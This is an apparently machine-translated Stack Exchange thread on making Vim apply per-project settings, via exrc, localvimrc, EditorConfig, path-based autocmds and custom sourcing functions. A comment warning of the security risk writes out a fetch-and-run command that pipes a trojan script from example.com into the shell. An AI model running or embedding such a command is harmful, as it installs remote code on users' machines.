在我的工作中,我们使用的标准ts为2;我的个人喜好是4,这是我用于兴趣爱好项目的内容,而我们继承的另一个项目的约定为ts=8

我还想根据项目设置其他一些设置(例如折叠)。将这些设置基于文件类型或根据文件使用情况自动检测它们不是一个好选择,因为我想遵守每个项目的约定。

我可以使Vim使用适用于以下情况的设置文件吗?一个项目(目录树中的所有内容)而没有在所有文件中添加Modeline?

评论

如何使Vim适应我正在编辑的文件的当前缩进样式的可能重复项?

#1 楼

有几种轻巧的方法可以执行此操作。



检查给定名称的文件并提供源文件

if filereadable(".vimscript_file")
    so .vimscript_file
endif


示例中隐藏了该文件,但这是可选的。


本地.vimrc文件(与插件不同)

set exrc


这与1相似。但是文件将被称为“ .vimrc”。

常见的建议是使用
set secure


可防止.vimrc文件执行潜在的危险操作,例如运行
shell命令。这个想法是,您不想让vim读取其他人写的.vimrc文件,该文件执行某些令人讨厌的操作。


检查当前路径的自动命令

au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value


这是我使用的选项。在YMMV的不同项目之间,我并没有太大的改变,但是,如果您只想基于路径做一两件事,并将其保存在您的.vimrc中,那么这很好而且很简单。

评论


请注意,选项1和2具有此注释中描述的相同限制:不适用于子目录。

–user18456
18年8月3日在16:00

#2 楼

我为此使用localvimrc。

将带有项目设置的.lvimrc放入项目中,这些设置将覆盖.vimrc中的设置。

默认情况下,系统会询问您是否要获取此文件,例如:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 


这是为了防止获取随机(不受信任)的vimrc文件。如果您感到烦恼,可以使用.lvimrc设置g:localvimrc_whitelist文件的白名单:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'


,或者您可以完全禁用set g:localvimrc_ask = 0进行确认。不过不建议这样做。

#3 楼

集中配置

如果可以集中配置特定命令/本地异常,则可以将此类autocmds放入~/.vimrc中:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4


它使用:setlocal而不是:set:map <buffer> ...:command! -buffer ...非常重要。另一方面,如果您想要将特定配置存储在项目中(并且不想将其嵌入到所有文件中)通过模式行),您有以下两个选择:

具有内置功能的本地配置

如果始终从项目根目录启动Vim,则内置

:set exrc


允许从当前目录读取.vimrc文件。您可以在其中放置:set ts=4 sw=4命令。

通过插件本地配置

否则,您需要插件的帮助; vim.org上有几个;我可以推荐使用localrc插件,该插件甚至允许特定于本地文件类型的配置。

请注意,从文件系统读取配置会带来安全隐患。您可能要:set secure

评论


请注意.exrc受到极大限制:项目概念在当前目录处停止,即子目录中的文件不属于该项目。

–卢克·赫米特(Luc Hermitte)
2015年4月29日在7:44

#4 楼

有一个Editor Config项目,它允许您定义项目级别的配置,例如tabstop设置以及新的线型和其他内容。有许多插件可以插入包括vim在内的各种编辑器。它还允许您定义不同文件类型的设置。

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2


#5 楼

我编写了此文件,并将其添加到我的.vimrc中,以便将.vimsettings文件放置在项目和子项目中。

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))


评论


在这种情况下,由于您只是在寻找文件并执行其中的所有命令(包括shell命令,例如system('curl http://example.com/install-trojan.sh | sh ')...

–马丁·图尔诺伊(Martin Tournoij)
2015年5月2日23:50

#6 楼

我想要这个,所以我只是在本地实现。我不太关心“执行随机代码”,但这可能满足简单的需求。根据需要调整文件名。

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction


这个local.vimrc实际上是我每个公司的vimrc文件集中的文件的符号链接,我可以将其保存在其他地方的源代码管理中,这可以很容易地将我的整个配置转移到其他机器上,或者如果我在现场或其他地方拜访公司。可以使用级联配置,但实际上我不需要该功能。我还连接了F8键,以在一个新选项卡中打开找到的文件和我的“主” .vimrc ...

在这些本地配置中,由于对每个打开的文件都进行了解析,因此请务必进行设置您将映射和设置映射到本地缓冲区。例如

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s